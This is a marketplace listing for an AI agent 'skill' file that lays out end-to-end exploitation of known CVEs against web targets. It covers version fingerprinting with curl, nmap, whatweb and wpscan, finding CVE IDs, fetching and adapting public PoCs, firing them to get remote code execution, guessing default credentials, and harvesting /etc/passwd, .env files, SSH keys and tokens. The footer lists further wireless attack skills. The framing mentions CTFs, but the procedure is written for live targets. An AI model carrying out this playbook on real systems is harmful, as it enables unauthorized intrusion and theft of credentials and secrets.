cve
Known CVE exploitation — fingerprint CMS/framework/plugin version, discover candidate CVE IDs (cve_by_package for ecosystem packages, cve_by_product for CMS/framework core), score them via cve_lookup, retrieve PoCs via research_cve, adapt the public exploit to the target, and confirm RCE. Use whenever the challenge tag is `cve`, recon fingerprinted a versioned service, or the challenge name hints at known vulnerable software (WordPress, Joomla, Apache Struts, Spring4Shell, Log4j, etc.).
- License 许可
- Apache-2.0
- 所属仓库
- Akapi895/raptix
- 最近更新
- 2026-11-06
- Stars
- ★ 0
- Forks
- 0
01 前言 Front Matter
- name
- cve
- metadata
- { "tags": "web-application, cve, known-exploit, n-day, public-poc", "subdomain": "execution", "when_to_use": "cve, CVE, known vulnerability, public exploit, version-specific, plugin vulnerability, CMS exploit, WordPress vulnerability, vulnerable software, patched, unpatched, joomla vulnerability, drupal vulnerability, apache struts, spring4shell, log4j, log4shell, exploit-db, public PoC, n-day exploit, cve_lookup, cve_by_package, cve_by_product, research_cve", "mitre_attack": "T1190, T1203, T1059" }
- description
- Known CVE exploitation — fingerprint CMS/framework/plugin version, discover candidate CVE IDs (cve_by_package for ecosystem packages, cve_by_product for CMS/framework core), score them via cve_lookup, retrieve PoCs via research_cve, adapt the public exploit to the target, and confirm RCE. Use whenever the challenge tag is `cve`, recon fingerprinted a versioned service, or the challenge name hints at known vulnerable software (WordPress, Joomla, Apache Struts, Spring4Shell, Log4j, etc.).
- allowed-tools
- Bash Read Write
03 SKILL.md 正文
CVE / Known-Exploit Methodology
Exploits known, version-specific vulnerabilities by fingerprinting the target's software stack, finding the matching CVE record, retrieving a public PoC, and adapting it to the live target. The exploit agent has four dedicated tools registered for this skill — cve_lookup, cve_by_package, cve_by_product, and research_cve. cve_lookup takes CVE IDs, not a product name — it scores/ranks IDs you already have (CVSS × EPSS × KEV), it does not discover them. If you load this skill, you MUST invoke cve_lookup and research_cve; cve_by_package/cve_by_product are mandatory only for the matching discovery path in Step 2 (ecosystem package vs. CMS/framework core).
When to load
Load this skill (in addition to or instead of an attack-class skill) when ANY of the following hold:
- The challenge
Tags:line containscve. - Recon
SUMMARY.mdfingerprinted a CMS, framework, or service with a concrete version (e.g.WordPress 5.7.1,Apache Struts 2.5.16,Drupal 7.58,Spring Framework 5.3.17,Log4j 2.14.0). - The challenge name or description hints at specific software (
WordPress,Joomla,phpMyAdmin,Spring4Shell,Log4Shell,Shellshock,ProxyShell,GhostCat, etc.). - Recon returned a
RECON_HANDOFF:line that names a software product with a version string.
If none of the above hold, do NOT load this skill — fall back to the attack-class skill matching the symptom (sqli/ssti/lfi/command-injection/etc.).
Step 1 — Fingerprinting procedure
Concrete probes. Save every output to a file; do NOT inline curl bodies.
# Generic banner / header / generator-meta fingerprinting
curl -sI "http://$TARGET/" -o /tmp/cve_headers.txt
grep -iE 'server|x-powered-by|x-aspnet-version|x-version|x-generator' /tmp/cve_headers.txt
curl -s "http://$TARGET/" -o /tmp/cve_home.html
grep -iE 'generator|powered by|x-version|wp-includes/js/wp-emoji|joomla|drupal|wp-content' /tmp/cve_home.html | head -20
# nmap service/version detection (when a non-HTTP port is exposed)
nmap -sV -On -p- --version-intensity 7 "$TARGET_HOST" -oN /tmp/cve_nmap.txt
# whatweb — broad CMS/framework signature scan
whatweb -a 3 "http://$TARGET/" --no-errors > /tmp/cve_whatweb.txt 2>&1
# WordPress-specific
curl -sI "http://$TARGET/wp-login.php" -o /tmp/cve_wp_login.txt
curl -s "http://$TARGET/readme.html" -o /tmp/cve_wp_readme.html
grep -iE 'version' /tmp/cve_wp_readme.html | head -5
# WordPress plugin enumeration (preferred: wpscan)
wpscan --url "http://$TARGET/" --enumerate p,t,u --no-banner --random-user-agent \
-o /tmp/cve_wpscan.txt 2>&1
# Manual plugin readme sweep (fallback when wpscan is unavailable)
for plugin in contact-form-7 woocommerce elementor yoast-seo akismet jetpack \
wp-super-cache w3-total-cache wordfence all-in-one-seo-pack \
wpforms-lite duplicator updraftplus classic-editor really-simple-ssl \
wp-mail-smtp redirection wp-statistics polylang loginizer \
simple-membership easy-wp-smtp mainwp-child seo-by-rank-math \
wp-fastest-cache litespeed-cache autoptimize wp-optimize \
advanced-custom-fields better-wp-security; do
code=$(curl -s -o /dev/null -w '%{http_code}' \
"http://$TARGET/wp-content/plugins/${plugin}/readme.txt")
if [ "$code" = "200" ]; then
ver=$(curl -s "http://$TARGET/wp-content/plugins/${plugin}/readme.txt" \
| grep -iE 'stable tag|^version' | head -1)
echo "plugin=$plugin version=$ver"
fi
done | tee /tmp/cve_wp_plugins.txt
# Joomla / Drupal
curl -s "http://$TARGET/administrator/manifests/files/joomla.xml" -o /tmp/cve_joomla.xml
curl -s "http://$TARGET/CHANGELOG.txt" -o /tmp/cve_drupal_changelog.txt
Output discipline: at the end of Step 1 you MUST have at least one <software>@<version> pair (e.g. wordpress@5.7.1, contact-form-7@5.1.6, apache-struts@2.5.16). If you don't, fingerprinting failed — see the Decision Tree below.
Step 2 — CVE identification: MANDATORY tool sequence
cve_lookup does not search by product name — it only scores CVE IDs you already have. Discovering candidate IDs is a separate step, and which tool does it depends on what Step 1 fingerprinted:
2a — Ecosystem package (dependency pulled in via a package manager)
If the fingerprinted component has a package-manager identity — a bundled JS/Python/Go/Java dependency, or a WordPress/Joomla plugin distributed via Composer/npm — query OSV directly:
cve_by_package("contact-form-7", "5.1.6", ecosystem="Packagist")
# → returns: {"package": "contact-form-7", "version": "5.1.6", "ids": ["CVE-xxxx-xxxxx", "GHSA-xxxx-xxxx-xxxx"]}
ecosystem is one of PyPI, npm, crates.io, Go, Maven, RubyGems, NuGet, Packagist, Pub, Hex — pick the one matching how the dependency was actually installed, not a guess.
2b — CMS/framework/runtime core (no package-manager identity)
For the product itself (WordPress core, Joomla, Apache Struts, Drupal core), use cve_by_product — it runs the same NVD keyword search a human analyst would, without you hand-building the query:
cve_by_product("wordpress", "5.7.1")
# → returns: {"product": "wordpress", "version": "5.7.1",
# "candidates": [{"cve_id": "CVE-xxxx-xxxxx", "summary": "..."}, ...]}
Results are candidates (free-text description match, not an exact CPE/version-range match) — skim each summary for version-range language (e.g. "before 5.7.2") before passing the ID to cve_lookup. If it returns no candidates, retry with just the product name (drop the version): some CVE descriptions state an affected range rather than repeating your exact version string.
Do NOT fall back to a free-form web search instead of this tool — it is slower and produces stale leads.
2c — Score every candidate ID (both paths converge here, MANDATORY)
Feed every ID collected in 2a/2b into cve_lookup to rank by real-world exploitability:
cve_lookup("CVE-2018-11776,CVE-2017-5638")
# → returns: ranked list, CVSS x EPSS x KEV composite score, highest first
For EACH candidate CVE returned, immediately call research_cve to retrieve PoC URLs (github.com/trickest/cve, exploit-db, packetstorm, etc.):
research_cve("CVE-2018-11776")
# → returns: github.com/trickest/cve/blob/main/2018/CVE-2018-11776.md
# https://www.exploit-db.com/exploits/45260
Hard rule: if you load this skill and do NOT invoke cve_lookup before the first exploit attempt, you are wasting the dispatch.
Step 3 — PoC adaptation
After research_cve returns URLs, fetch the PoC to disk and adapt it. Three concrete patterns:
Pattern A — curl one-shot exploit endpoint
For CVEs that are a single HTTP request (most WordPress/Joomla auth-bypass and SSRF CVEs):
# Sanity-check the PoC matches the fingerprinted version BEFORE firing
curl -s "https://raw.githubusercontent.com/trickest/cve/main/2018/CVE-2018-11776.md" \
-o /tmp/cve_poc.md
grep -iE 'affected|version|tested on' /tmp/cve_poc.md | head -10
# Confirm the version in the PoC overlaps the target's fingerprinted version.
# Fire the adapted exploit (replace TARGET URL, OS command, output path)
curl -s -X POST "http://$TARGET/<VULNERABLE_ENDPOINT>" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "<PARAM>=<PAYLOAD>" \
-o /tmp/cve_exploit_out.txt
head -50 /tmp/cve_exploit_out.txt
Pattern B — python PoC script
For CVEs distributed as a Python script (Spring4Shell, Log4Shell helpers, ProxyShell):
# Fetch script to disk — never pipe untrusted code into bash directly
wget -q "https://raw.githubusercontent.com/<user>/<repo>/main/poc.py" -O /tmp/cve_poc.py
head -40 /tmp/cve_poc.py # sanity-read the script
# Identify and replace placeholders (TARGET URL, CMD, callback host)
sed -i "s|http://target|http://$TARGET|g" /tmp/cve_poc.py
python3 /tmp/cve_poc.py --target "http://$TARGET" --cmd 'id' > /tmp/cve_poc_run.txt 2>&1
head -50 /tmp/cve_poc_run.txt
Pattern C — Metasploit module reference
If research_cve returns a Metasploit module name (e.g. exploit/multi/http/struts2_content_type_ognl), translate the module into a curl-equivalent rather than launching msfconsole (msfconsole is heavy and breaks the bash-output budget). Read the module's source via the module URL, extract the HTTP request it sends, and reproduce with curl. Document the module name in exploit/PIVOT.md for traceability.
Version sanity-check is MANDATORY: a PoC for Struts 2.3.x typically does NOT fire on Struts 2.5.x. If versions mismatch, fall back to the next CVE candidate from Step 2 rather than burning the dispatch on a guaranteed-fail attempt.
Step 4 — Post-exploit harvest
Once RCE is achieved through the CVE, load command-injection.md and run its "Credential/Secret Extraction After RCE Confirmed" single-call sweep — that is the canonical generic post-RCE harvest (/etc/passwd, .env, configs, SSH keys, secret/cred/token files).
If the engagement is a CTF/benchmark (BENCHMARK_MODE=1), additionally load /skills/benchmark/SKILL.md for flag-path conventions. Generic CVE methodology never assumes CTF-specific paths.
Step 5 — Decision tree
CVE skill loaded?
├── Fingerprinting yielded <software>@<version>
│ ├── Ecosystem package (npm/PyPI/Packagist/... dependency) → cve_by_package(name, version, ecosystem)
│ └── CMS/framework/runtime core → cve_by_product(name, version) (Step 2b) for candidate IDs
│ ↓
│ cve_lookup(<comma-separated candidate IDs>)
│ ├── >=1 CVE scored → for each (highest score first), research_cve(<CVE-ID>)
│ │ ├── PoC version matches target → adapt (Pattern A/B/C) and fire
│ │ ├── PoC requires authentication → first check `default_credentials` tag,
│ │ │ try admin/admin, admin/password, root/root, then login-form recon
│ │ └── PoC fired → on RCE, run Step 4 post-exploit harvest
│ └── 0 candidate IDs found → check one level deeper:
│ ├── WordPress core OK → enumerate plugins/themes (Step 1 wpscan/readme sweep)
│ │ then repeat Step 2 for the plugin
│ └── Framework OK → check bundled libraries / dependencies
│ (e.g. Spring app w/ vulnerable log4j → cve_by_package("log4j-core", "2.14.1", ecosystem="Maven"))
└── Fingerprinting FAILED (no version exposed)
├── Pivot to attack-class probes from recon SUMMARY.md tags:
│ sqli.md, ssti.md, lfi.md, command-injection.md
└── Write exploit/PIVOT.md noting "no version banner — CVE path exhausted"
Step 6 — Pacing rule (3-strike, cross-CVE)
Same payload-class 3-strike rule applies, at the CVE level:
- If 3 candidate CVEs from
cve_lookupall fail to exploit (version mismatch, patched endpoint, auth required without creds, or PoC returns no useful output), pivot to a DIFFERENT attack class identified during recon. - "Same class" at this skill's level = same CVE family on the same product. Three Struts RCE CVEs against the same Struts service is ONE class — after 3 strikes, pivot to sqli/ssti/lfi against the broader app rather than searching for a 4th Struts CVE.
- A CVE that returns "endpoint exists but no command output" is a partial-strike: try Pattern B (python PoC) or out-of-band exfil (see
command-injection.mdBlind Exfiltration) before declaring strike.
After exhausting 3 CVE candidates: the version is either patched in-place or the product surface is hardened. Write exploit/PIVOT.md documenting (a) the 3 CVEs tried, (b) why each failed (version, auth, no-output), (c) the next attack class to attempt from recon's tag list.
Cross-skill loading
- For RCE-class CVEs, after firing the exploit, load
command-injection.mdfor output-extraction and blind-exfil patterns. - For SQLi-class CVEs (e.g. CVE-2019-7139, CVE-2020-25213), load
sqli.md/blind-sqli.mdafter the CVE confirms the injection point. - For LFI-class CVEs (e.g. CVE-2019-9978, CVE-2021-41773), load
lfi.mdfor wrapper escalation. - For deserialization CVEs (Spring4Shell, ApacheCommons), load
deserialization.mdfor payload generation.
The CVE skill is the entry; the attack-class skill is the continuation once the injection primitive is confirmed.
04 同仓库更多 Skills
wps-pixie-dust
WPS Pixie-Dust offline nonce attack (reaver -K / pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.
wpa3-sae
WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.
wpa2-psk
WPA/WPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer/SMB encryption mode in 2026.
wpa-enterprise-eap
WPA/WPA2/WPA3-Enterprise (802.1X/EAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.
krack-fragattacks
KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.
evil-twin-karma
Evil-twin rogue AP with KARMA/Mana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK/open networks. Distinct from wpa-enterprise-eap which targets 802.1X.